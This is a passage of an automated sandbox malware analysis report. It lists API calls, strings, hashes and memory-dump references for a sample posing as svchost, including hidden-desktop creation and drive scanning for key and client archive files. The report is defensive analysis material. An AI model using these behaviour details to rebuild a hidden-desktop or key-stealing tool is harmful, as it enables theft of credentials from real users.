OpenProcess.KERNEL32(00000000,00001400,00000000,00000000,7734FFB0,?,?,?,?,?,?,02C86436,?,00000000), ref: 02C92F2C
GetProcessTimes.KERNEL32(00000000,02C86436,?,?,?,?,?,?,?,?,?,02C86436,?,00000000), ref: 02C92F4A
GetHandleInformation.KERNEL32(00000000,?,?,?,?,?,?,?,02C86436,?,00000000), ref: 02C92F68
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,02C86436,?,00000000), ref: 02C92F79

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HandleProcess$CloseInformationOpenTimes
String ID:
API String ID: 3228293703-0
Opcode ID: 74d2c5d0289e147a554c2e2df2393a89a28dd9d4837a4e901b2f3e514c150298
Instruction ID: 00ae0e0cd36ab9f62e51b22f890fa0752f49c87762c8a4faa31451496eada84c
Opcode Fuzzy Hash: 74d2c5d0289e147a554c2e2df2393a89a28dd9d4837a4e901b2f3e514c150298
Instruction Fuzzy Hash: EE110A71D51228AB8B11DFD58888AEEBBBCBB4CB10F14468AF955B3240D7715A058BE1

Function 02C86290 Relevance: 6.0, APIs: 4, Instructions: 27threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,02C85890,00000000,00000000,00000000), ref: 02C862A4
GetHandleInformation.KERNEL32(00000000,?), ref: 02C862BC
CloseHandle.KERNEL32(00000000), ref: 02C862CD
ExitThread.KERNEL32 ref: 02C862D5

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HandleThread$CloseCreateExitInformation
String ID:
API String ID: 4233414108-0
Opcode ID: d328a97ac5bed89f73c61e0b3d1f8b3cad970d3428fa4f8c58baed391d3095c6
Instruction ID: d8b473da1fd9b586a227525e106e6f6449cad00aa78bfcce2198c722376e50d6
Opcode Fuzzy Hash: d328a97ac5bed89f73c61e0b3d1f8b3cad970d3428fa4f8c58baed391d3095c6
Instruction Fuzzy Hash: CFE09B30EC1358B7F3219750DC0EF5A7A5C9F01B0AF2441D0F905A71C0C7F0A6108665

Function 02C835A0 Relevance: 5.1, APIs: 4, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02C76240: memset.MSVCRT ref: 02C76271
Part of subcall function 02C76240: memset.MSVCRT ref: 02C7628F
Part of subcall function 02C76240: RegOpenKeyExA.KERNEL32(80000002,software\microsoft,00000000,00000101,?), ref: 02C762AB
Part of subcall function 02C76240: RegQueryValueExA.KERNEL32(?,80F50759a,00000000,00000001,?,00000104), ref: 02C762D2
Part of subcall function 02C76240: GetProcessHeap.KERNEL32(00000008,00000110,?,?), ref: 02C7634A
Part of subcall function 02C76240: HeapAlloc.KERNEL32(00000000), ref: 02C76351
Part of subcall function 02C76240: memset.MSVCRT ref: 02C76365
Part of subcall function 02C76240: lstrcpynA.KERNEL32(00000000,00000000,00000104), ref: 02C7637E
Part of subcall function 02C76240: RegCloseKey.ADVAPI32(?), ref: 02C7638C

GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,76230F10,02C88D9B,/home.php,?,00000001,?,?,00000001,00000000), ref: 02C835F8
HeapValidate.KERNEL32(00000000,?,00000000,76230F10,02C88D9B,/home.php,?,00000001,?,?,00000001,00000000), ref: 02C835FB
GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,76230F10,02C88D9B,/home.php,?,00000001,?,?,00000001,00000000), ref: 02C83608
HeapFree.KERNEL32(00000000,?,00000000,76230F10,02C88D9B,/home.php,?,00000001,?,?,00000001,00000000), ref: 02C8360B

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Processmemset$AllocCloseFreeOpenQueryValidateValuelstrcpyn
String ID:
API String ID: 789118668-0
Opcode ID: 72fb88ff3de7e1185104bfe03946fb904dfb069a929e23a0ef0fda400d6561b3
Instruction ID: bf5478c376627f2509143d8bfa76f969eb437a9b52595ec0a6831fcc23554143
Opcode Fuzzy Hash: 72fb88ff3de7e1185104bfe03946fb904dfb069a929e23a0ef0fda400d6561b3
Instruction Fuzzy Hash: 23012431F892801ADF116B3D686073AABDA9FC2968B0C92DAE446C7280D722C9008340

Function 02C72930 Relevance: 4.5, APIs: 3, Instructions: 49COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 02C7293F
exit.MSVCRT ref: 02C72950
free.MSVCRT ref: 02C72993

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: callocexitfree
String ID:
API String ID: 3367576030-0
Opcode ID: 0f0cf4d178bcc210f5dc5721167d9b50273371881535febb34f9f0f099658dd9
Instruction ID: 000e5a7d30da90e0a151403ee1b5ecb3026ebeb8182f7ae249b2a5586dc08dfa
Opcode Fuzzy Hash: 0f0cf4d178bcc210f5dc5721167d9b50273371881535febb34f9f0f099658dd9
Instruction Fuzzy Hash: E6018476600159ABD7118F4ADC80F9B7BA9EF88750F040518FE0587301C771D911CBE6

Function 02C88F70 Relevance: 4.5, APIs: 3, Instructions: 24threadmemoryCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 02C88F7E
SetThreadPriority.KERNEL32(00000000), ref: 02C88F85
VirtualProtect.KERNEL32(02C890E0,00000008,00000000,02C890E0), ref: 02C88F9F

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriorityProtectVirtual
String ID:
API String ID: 1494777729-0
Opcode ID: 75b85df2a244b49084cb9c6be1fee03f6b29c8988f75ef377feece3f958ed39b
Instruction ID: 3d072e8d0ad7959a8a5fc85f18e2cf0cd3f70cfa6d2a8bf5e3b67d3b8feb11de
Opcode Fuzzy Hash: 75b85df2a244b49084cb9c6be1fee03f6b29c8988f75ef377feece3f958ed39b
Instruction Fuzzy Hash: 7AE0E5B6E40259EBCF01DFD8E845E9DB778FB48321F008659F915A7240C735A914CB60

Function 0040207A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000), ref: 0040208C

Strings

V,@, xrefs: 00402092

Memory Dump Source

Source File: 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3402365018.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: V,@
API String ID: 3664257935-3634209070
Opcode ID: 2fd4ca95ddf0f334cf370a94dc23c54eb0d0c4c01a3467e788c39c0190814706
Instruction ID: d15e959a12f23ccec2fe85088e2afbb8a6d817ea7d7d5b015e5417604cfff27a
Opcode Fuzzy Hash: 2fd4ca95ddf0f334cf370a94dc23c54eb0d0c4c01a3467e788c39c0190814706
Instruction Fuzzy Hash: 12D05E76E027298BCB20CF94A5052AEF730FB44731F0043AADE257338083351C118AD4

Non-executed Functions

Function 02C7C380 Relevance: 103.7, APIs: 55, Strings: 4, Instructions: 429windowsynchronizationmemoryCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 02C7C3DF
SetWindowLongA.USER32(?,000000F0,00000000), ref: 02C7C3EA
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027), ref: 02C7C3FD
GetDlgItem.USER32(?,?), ref: 02C7C412
GetWindowLongA.USER32(00000000,000000EB), ref: 02C7C421
SetWindowTextA.USER32(?,-00000008), ref: 02C7C42D
GetWindowLongA.USER32(00000000,000000F0), ref: 02C7C43C
SetWindowLongA.USER32(00000000,000000F0,00000000), ref: 02C7C447
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000027), ref: 02C7C45A
GetDlgItem.USER32(?,000003E9), ref: 02C7C498
GetClassLongA.USER32(00000000,000000E6), ref: 02C7C4A8
SetClassLongA.USER32(00000000,000000E6,00000000), ref: 02C7C4B7
SendMessageA.USER32(?,00000031,00000000,00000000), ref: 02C7C4CF
GetObjectA.GDI32(00000000,0000003C,?), ref: 02C7C4D9
CreateFontIndirectA.GDI32 ref: 02C7C4EF
SendMessageA.USER32(?,00000030,00000000,00000000), ref: 02C7C4FF
GetWindow.USER32(00000000,00000005), ref: 02C7C537
GetWindow.USER32(00000000), ref: 02C7C53A
GetWindowInfo.USER32(00000000,?), ref: 02C7C54E
GetWindowRect.USER32(?,?), ref: 02C7C5B3
SetWindowPos.USER32(?,00000000,?,?,00000116,?,00000200), ref: 02C7C5DD
GetClientRect.USER32(?,?), ref: 02C7C5E9
MoveWindow.USER32(?,00000009,00000014,000000FC,00000014,00000001), ref: 02C7C605
CreateWindowExA.USER32(00000000,static,00000000,50000003,?,0000000A,00000023,00000027,?,00000000,00000000,00000000), ref: 02C7C62A
SetWindowLongA.USER32(00000000,000000F4,?), ref: 02C7C63C
GetClassLongA.USER32(00000000,000000E6), ref: 02C7C645
SetClassLongA.USER32(00000000,000000E6,00000000), ref: 02C7C654
GetWindowTextLengthA.USER32(00000000), ref: 02C7C65B
HeapAlloc.KERNEL32(00000000,00000008,0000000C), ref: 02C7C66F
SetWindowLongA.USER32(00000000,000000EB,00000000), ref: 02C7C693
SendMessageA.USER32(00000000,0000007F,00000001,00000000), ref: 02C7C6A0
GetWindowThreadProcessId.USER32(00000000,?), ref: 02C7C6B0
GetClassLongA.USER32(00000000,000000DE), ref: 02C7C6CC
GetClassLongA.USER32(00000000,000000F2), ref: 02C7C6D5
LoadIconA.USER32(00000000,00007F00), ref: 02C7C6E1
SendMessageA.USER32(00000000,00000172,00000001,00000000), ref: 02C7C6FB
GetWindowLongA.USER32(00000000,000000F0), ref: 02C7C724
SetWindowLongA.USER32(00000000,000000F0,00000000), ref: 02C7C733
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000027), ref: 02C7C746
GetWindow.USER32(00000000,00000003), ref: 02C7C769
IsIconic.USER32(?), ref: 02C7C787
ShowWindow.USER32(?,00000001), ref: 02C7C794
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7C7A3
ReleaseMutex.KERNEL32(00000000), ref: 02C7C7BB

Part of subcall function 02C7C330: GetWindowThreadProcessId.USER32(?,00000000), ref: 02C7C33C
Part of subcall function 02C7C330: GetCurrentThreadId.KERNEL32 ref: 02C7C344
Part of subcall function 02C7C330: AttachThreadInput.USER32(00000000,00000000,00000001), ref: 02C7C350
Part of subcall function 02C7C330: SendMessageA.USER32(?,0000000D,?,?), ref: 02C7C361
Part of subcall function 02C7C330: AttachThreadInput.USER32(00000000,00000000,00000000), ref: 02C7C36D

PostMessageA.USER32(?,00000010,00000000,00000000), ref: 02C7C7C8
GetDlgItem.USER32(?,?), ref: 02C7C837
GetWindowLongA.USER32(00000000), ref: 02C7C83E
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7C84E
ReleaseMutex.KERNEL32(00000000), ref: 02C7C868
GetDlgItem.USER32(?,00000000), ref: 02C7C87D
GetWindowLongA.USER32(00000000,000000EB), ref: 02C7C88C
DeleteObject.GDI32(?), ref: 02C7C898
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02C7C8A7
DestroyWindow.USER32(00000000), ref: 02C7C8AE
EndDialog.USER32(?,00000000), ref: 02C7C8C3

Strings

P0#v, xrefs: 02C7C7BB, 02C7C868
', xrefs: 02C7C750
static, xrefs: 02C7C623
<, xrefs: 02C7C546

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Window$Long$ClassMessage$SendThread$ItemObject$AttachCreateHeapInputMutexProcessRectReleaseSingleTextWait$AllocClientCurrentDeleteDestroyDialogFontFreeIconIconicIndirectInfoLengthLoadMovePostShow
String ID: '$<$P0#v$static
API String ID: 2592195760-1574280343
Opcode ID: ef69f0a1398285c23b71343fc943ffede84846a0e686b3e3f8ebdbed849b94b7
Instruction ID: fd7e9198ded1431252ecc94c8436da75a98c5ce6b82cbdab1c8a503a73804f3d
Opcode Fuzzy Hash: ef69f0a1398285c23b71343fc943ffede84846a0e686b3e3f8ebdbed849b94b7
Instruction Fuzzy Hash: FDE19E71A84341AFD3128F64EC88F6A7BA8FB88725F104F19F51AD72C0CB749A51CB61

Function 02C786C0 Relevance: 66.8, APIs: 32, Strings: 6, Instructions: 260threadsleepprocessCOMMON

Download Yara Rule

APIs

CreateDesktopA.USER32 ref: 02C78711
SetThreadDesktop.USER32(00000000), ref: 02C7872A
memset.MSVCRT ref: 02C78738
CreateProcessA.KERNEL32 ref: 02C7877C
GetShellWindow.USER32 ref: 02C78788
Sleep.KERNEL32(0000000A), ref: 02C787A2
GetShellWindow.USER32 ref: 02C787A4
GetHandleInformation.KERNEL32(00000000,?), ref: 02C787D3
CloseHandle.KERNEL32(00000000), ref: 02C787E1
GetHandleInformation.KERNEL32(00000000,?), ref: 02C787FB
CloseHandle.KERNEL32(00000000), ref: 02C78809
GetDesktopWindow.USER32 ref: 02C7880F
FindWindowA.USER32(Shell_TrayWnd,00000000), ref: 02C78820
RegisterWindowMessageA.USER32(80f507eba), ref: 02C78848
CreateThread.KERNEL32(00000000,00000000,Function_000083D0,00000000,00000000,00000000), ref: 02C7885D
SetThreadDesktop.USER32(?), ref: 02C788A7
memset.MSVCRT ref: 02C788B8
CreateProcessA.KERNEL32 ref: 02C78905
GetShellWindow.USER32 ref: 02C78911
Sleep.KERNEL32(0000000A), ref: 02C78924
GetShellWindow.USER32 ref: 02C78926
GetHandleInformation.KERNEL32(?,?), ref: 02C78955
CloseHandle.KERNEL32(?), ref: 02C78963
GetHandleInformation.KERNEL32(00000000,?), ref: 02C7897D
CloseHandle.KERNEL32(00000000), ref: 02C7898B
GetDesktopWindow.USER32 ref: 02C78991
FindWindowA.USER32(Shell_TrayWnd,00000000), ref: 02C789A2
CreateThread.KERNEL32(00000000,00000000,Function_000083D0,00000000,00000000,00000000), ref: 02C789CF

Strings

Shell_TrayWnd, xrefs: 02C78816, 02C78998
D, xrefs: 02C788EF
c:\windows, xrefs: 02C78758, 02C788DB
c:\windows\explorer.exe, xrefs: 02C78763, 02C788E6
D, xrefs: 02C7876C
80f507eba, xrefs: 02C786FC, 02C78774, 02C78826, 02C788FA

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Window$Handle$CreateDesktop$CloseInformationShellThread$FindProcessSleepmemset$MessageRegister
String ID: 80f507eba$D$D$Shell_TrayWnd$c:\windows$c:\windows\explorer.exe
API String ID: 340731545-4192075031
Opcode ID: 6dd0f8fbc857005d8b0945f724dcaca625a5c1f17fb0552f53a02aafc3d7cc02
Instruction ID: 44ee53593746ed547ee0629c9a9b28ec431908d50eb276aea1e373b7e83b79d8
Opcode Fuzzy Hash: 6dd0f8fbc857005d8b0945f724dcaca625a5c1f17fb0552f53a02aafc3d7cc02
Instruction Fuzzy Hash: 029148B1988350AFD312DF65D848B5BBBE8EF88754F108F5AF64983240DB748515CFA2

Function 02C911C0 Relevance: 63.4, APIs: 27, Strings: 9, Instructions: 376COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C911DE
memset.MSVCRT ref: 02C911F8
GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 02C91222
PathAddBackslashA.SHLWAPI(7F1BF8F3), ref: 02C91247
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 02C91287
GetLastError.KERNEL32 ref: 02C91291
IsUserAnAdmin.SHELL32 ref: 02C91299
PathMakeSystemFolderA.SHLWAPI(00000000), ref: 02C912AA
SetLastError.KERNEL32(00000000), ref: 02C912B1
GetFileAttributesA.KERNEL32(00000000), ref: 02C912F4
SetCurrentDirectoryA.KERNEL32(00000000), ref: 02C91340
PathAddBackslashA.SHLWAPI(7F1BF8F3,00000000,00000000), ref: 02C91387

Strings

path_keys.txt, xrefs: 02C915BB
P0#v, xrefs: 02C9162A
client.zip, xrefs: 02C912C8
path_client.txt, xrefs: 02C913CB
\SIGN1\, xrefs: 02C9149B
Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}, xrefs: 02C91609
\, xrefs: 02C91319
keys.zip, xrefs: 02C91518
7F1BF8F3, xrefs: 02C91242, 02C9124D, 02C91382, 02C9138D, 02C914C2, 02C914CD, 02C91572, 02C9157D

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$BackslashDirectoryErrorFileLastmemset$AdminAttributesCreateCurrentFolderMakeModuleNameSystemUser
String ID: 7F1BF8F3$Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}$P0#v$\$\SIGN1\$client.zip$keys.zip$path_client.txt$path_keys.txt
API String ID: 1576442920-1793234277
Opcode ID: 43b3cffd80596728024a8af44e17c0d32701adb87a282b355a06483f4d1a53d5
Instruction ID: 6cf4f9e84f40e98a3ba9a695ee025706ec90e138cbbabd429458fd5191a74a5b
Opcode Fuzzy Hash: 43b3cffd80596728024a8af44e17c0d32701adb87a282b355a06483f4d1a53d5
Instruction Fuzzy Hash: C6D129309442968FDF168F24D85DBE67BE9EF85304F1886D4E88DD7241DBB1DA48CB90

Function 02C8BB20 Relevance: 56.3, APIs: 24, Strings: 8, Instructions: 345fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C8BB47
memset.MSVCRT ref: 02C8BB69
GetLogicalDriveStringsA.KERNEL32(00000104,?), ref: 02C8BB88
SetErrorMode.KERNEL32(00000001), ref: 02C8BBA1
GetDriveTypeA.KERNEL32(?), ref: 02C8BBF5
SetCurrentDirectoryA.KERNEL32(?), ref: 02C8BC04
FindFirstFileA.KERNEL32(?,?), ref: 02C8BC51
GetFileAttributesA.KERNEL32(?), ref: 02C8BC6A
StrStrIA.SHLWAPI(?,found.), ref: 02C8BC81
StrStrIA.SHLWAPI(?,asus), ref: 02C8BC98
FindNextFileA.KERNEL32(00000000,?), ref: 02C8BCAF
PathAddBackslashA.SHLWAPI(7F1BFC0D), ref: 02C8BCE4
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8BD1E
GetLastError.KERNEL32 ref: 02C8BD28
IsUserAnAdmin.SHELL32 ref: 02C8BD30
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8BD3F
SetLastError.KERNEL32(00000000), ref: 02C8BD46
SetErrorMode.KERNEL32(?), ref: 02C8BF52

Strings

*.00*, xrefs: 02C8BC2E
asus, xrefs: 02C8BC8B
.zip, xrefs: 02C8BDA8
keys, xrefs: 02C8BD59
path, xrefs: 02C8BE5E
7F1BFC0D, xrefs: 02C8BCDF, 02C8BCEA, 02C8BDE4, 02C8BDEF
found., xrefs: 02C8BC74
.txt, xrefs: 02C8BEA8

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Error$File$DirectoryDriveFindLastModePathmemset$AdminAttributesBackslashCreateCurrentFirstFolderLogicalMakeNextStringsSystemTypeUser
String ID: *.00*$.txt$.zip$7F1BFC0D$asus$found.$keys$path
API String ID: 3801700313-2328322984
Opcode ID: 53750372f6315024cead11d43f8b3c4a02f473998cff8e8f2616de3ddc165091
Instruction ID: eb0aa9984d832d5777501823ad65b4b7dba08da0154381e56215e5f837fe31a9
Opcode Fuzzy Hash: 53750372f6315024cead11d43f8b3c4a02f473998cff8e8f2616de3ddc165091
Instruction Fuzzy Hash: FFC1F4315087818FC716DF3894687ABBBE5AFC9348F188A5DE9C9C7250EB31DA09C791

Function 02C8D0C0 Relevance: 56.3, APIs: 24, Strings: 8, Instructions: 345fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C8D0E7
memset.MSVCRT ref: 02C8D109
GetLogicalDriveStringsA.KERNEL32(00000104,?), ref: 02C8D128
SetErrorMode.KERNEL32(00000001), ref: 02C8D141
GetDriveTypeA.KERNEL32(?), ref: 02C8D195
SetCurrentDirectoryA.KERNEL32(?), ref: 02C8D1A4
FindFirstFileA.KERNEL32(?,?), ref: 02C8D1F1
GetFileAttributesA.KERNEL32(?), ref: 02C8D20A
StrStrIA.SHLWAPI(?,found.), ref: 02C8D221
StrStrIA.SHLWAPI(?,asus), ref: 02C8D238
FindNextFileA.KERNEL32(00000000,?), ref: 02C8D24F
PathAddBackslashA.SHLWAPI(7F1BFCBF), ref: 02C8D284
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8D2BE
GetLastError.KERNEL32 ref: 02C8D2C8
IsUserAnAdmin.SHELL32 ref: 02C8D2D0
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8D2DF
SetLastError.KERNEL32(00000000), ref: 02C8D2E6
SetErrorMode.KERNEL32(?), ref: 02C8D4F2

Strings

*.00*, xrefs: 02C8D1CE
asus, xrefs: 02C8D22B
.zip, xrefs: 02C8D348
7F1BFCBF, xrefs: 02C8D27F, 02C8D28A, 02C8D384, 02C8D38F
keys, xrefs: 02C8D2F9
path, xrefs: 02C8D3FE
found., xrefs: 02C8D214
.txt, xrefs: 02C8D448

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Error$File$DirectoryDriveFindLastModePathmemset$AdminAttributesBackslashCreateCurrentFirstFolderLogicalMakeNextStringsSystemTypeUser
String ID: *.00*$.txt$.zip$7F1BFCBF$asus$found.$keys$path
API String ID: 3801700313-420153276
Opcode ID: 9509ff08100616bb61cc63c2f59bcaab3454ce0d711c2b29e489054a5d20bbe2
Instruction ID: aa9f37e62b3eb9a5c461c1e9d8a0575e99d5f0c0cb5e9c87025faf26779bf6c5
Opcode Fuzzy Hash: 9509ff08100616bb61cc63c2f59bcaab3454ce0d711c2b29e489054a5d20bbe2
Instruction Fuzzy Hash: 4AC1D8715087818FC716DF349858BABBBE5AFC5349F148A5DE8CAD7280EB30D609C792

Function 02C7BE40 Relevance: 54.6, APIs: 29, Strings: 2, Instructions: 342windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 02C7BE9A
IsIconic.USER32(?), ref: 02C7BEA5
GetWindowInfo.USER32(?,?), ref: 02C7BF02
GetAncestor.USER32(?,00000003,?,762330D0), ref: 02C7BF27
GetWindow.USER32(?,00000003), ref: 02C7BFA0
IsWindow.USER32(?), ref: 02C7BFC8
IsIconic.USER32(?), ref: 02C7BFD3
memset.MSVCRT ref: 02C7C002
GetWindow.USER32(?,00000005), ref: 02C7C026
GetWindow.USER32(00000000), ref: 02C7C029

Part of subcall function 02C7CC80: GetClassNameA.USER32(?,?,00000101), ref: 02C7CC96

Strings

<, xrefs: 02C7C0F9
<, xrefs: 02C7C213

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Window$Iconic$AncestorClassInfoNamememset
String ID: <$<
API String ID: 3351429209-213342407
Opcode ID: 282933c1f680c8cb9f3700dd2a73de88c1a8472c9d72b5b6ea3dba8f9ddf64ca
Instruction ID: c43446ad1351886e48742841b18c3635539a3145da3112e01542b0426cebb2c5
Opcode Fuzzy Hash: 282933c1f680c8cb9f3700dd2a73de88c1a8472c9d72b5b6ea3dba8f9ddf64ca
Instruction Fuzzy Hash: 18D1D470D00219AFDB26CFA5DC84BAEBBB9EF84708F14465AE505A7280DB709F41CF91

Function 02C8BBE9 Relevance: 49.3, APIs: 20, Strings: 8, Instructions: 294fileCOMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(?), ref: 02C8BBF5
SetCurrentDirectoryA.KERNEL32(?), ref: 02C8BC04
FindFirstFileA.KERNEL32(?,?), ref: 02C8BC51
GetFileAttributesA.KERNEL32(?), ref: 02C8BC6A
StrStrIA.SHLWAPI(?,found.), ref: 02C8BC81
StrStrIA.SHLWAPI(?,asus), ref: 02C8BC98
FindNextFileA.KERNEL32(00000000,?), ref: 02C8BCAF
PathAddBackslashA.SHLWAPI(7F1BFC0D), ref: 02C8BCE4
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8BD1E
GetLastError.KERNEL32 ref: 02C8BD28
IsUserAnAdmin.SHELL32 ref: 02C8BD30
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8BD3F
SetLastError.KERNEL32(00000000), ref: 02C8BD46
SetErrorMode.KERNEL32(?), ref: 02C8BF52

Strings

*.00*, xrefs: 02C8BC2E
asus, xrefs: 02C8BC8B
.zip, xrefs: 02C8BDA8
keys, xrefs: 02C8BD59
path, xrefs: 02C8BE5E
7F1BFC0D, xrefs: 02C8BCDF, 02C8BCEA, 02C8BDE4, 02C8BDEF
found., xrefs: 02C8BC74
.txt, xrefs: 02C8BEA8

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorFile$DirectoryFindLastPath$AdminAttributesBackslashCreateCurrentDriveFirstFolderMakeModeNextSystemTypeUser
String ID: *.00*$.txt$.zip$7F1BFC0D$asus$found.$keys$path
API String ID: 3516781098-2328322984
Opcode ID: 9cace01d941638685325a88dd9c4c28d1aafd3d4e47a1f99c7e9ef2678f40126
Instruction ID: 663f24dd68829ed58e38b891f7cb07a8d44e847048a019257ef6a73785fdd551
Opcode Fuzzy Hash: 9cace01d941638685325a88dd9c4c28d1aafd3d4e47a1f99c7e9ef2678f40126
